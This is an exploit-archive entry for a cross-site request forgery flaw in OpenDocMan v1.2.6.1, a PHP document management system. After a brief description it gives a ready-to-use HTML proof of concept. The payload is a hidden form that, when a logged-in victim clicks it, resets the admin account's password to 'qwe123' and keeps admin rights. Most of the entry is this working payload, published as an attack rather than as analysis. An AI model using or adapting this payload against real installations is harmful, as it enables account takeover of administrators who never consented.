OpenDocMan v1.2.6.1 Password Change CSRF

ID 1337DAY-ID-19237
Type zdt
Reporter Shai rod
Modified 2012-08-22T00:00:00


Exploit for php platform in category web applications

                                            # Exploit Title: OpenDocMan Password Change CSRF
# Date: 22/08/2012
# Exploit Author: Shai rod (@NightRang3r)
# Vendor Homepage:
# Software Link:
# Version:
#Gr33Tz: @aviadgolan , @benhayak, @nirgoldshlager, @roni_bachar
<title>OpenDocMan v1.2.6.1 Password Change CSRF</title>
About the Application:
OpenDocMan is a free, open source web-based PHP document management system (DMS) designed to comply with ISO 17025 and OIE standard for
document management. It features web based access, fine grained control of access to files, and automated install and upgrades.
Vulnerability Details:
OpenDocMan is vulnerable to a CSRF which allows an attacker to change users password and profile details.
In order to change user details the attacker must know the user id, for example; the default id for the "admin" user is 1.
The victim must be logged in while clicking the malicious link.
<h2>Change Admin Password</h2>
    <form action="" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="caller" value="/open/profile.php" />
      <input type="hidden" name="id" value="1" />
      <input type="hidden" name="last_name" value="Admin" />
      <input type="hidden" name="first_name" value="Admin" />
      <input type="hidden" name="username" value="admin" />
      <input type="hidden" name="phonenumber" value="
" />
      <input type="hidden" name="password" value="qwe123" />
      <input type="hidden" name="Email" value="[email protected]" />
      <input type="hidden" name="department" value="1" />
      <input type="hidden" name="admin" value="1" />
      <input type="hidden" name="department_review[]" value="1" />
      <input type="hidden" name="set_password" value="0" />
      <input type="hidden" name="submit" value="Update User" />
      <input type="submit" value="Click Me" />

# [2018-01-26]  #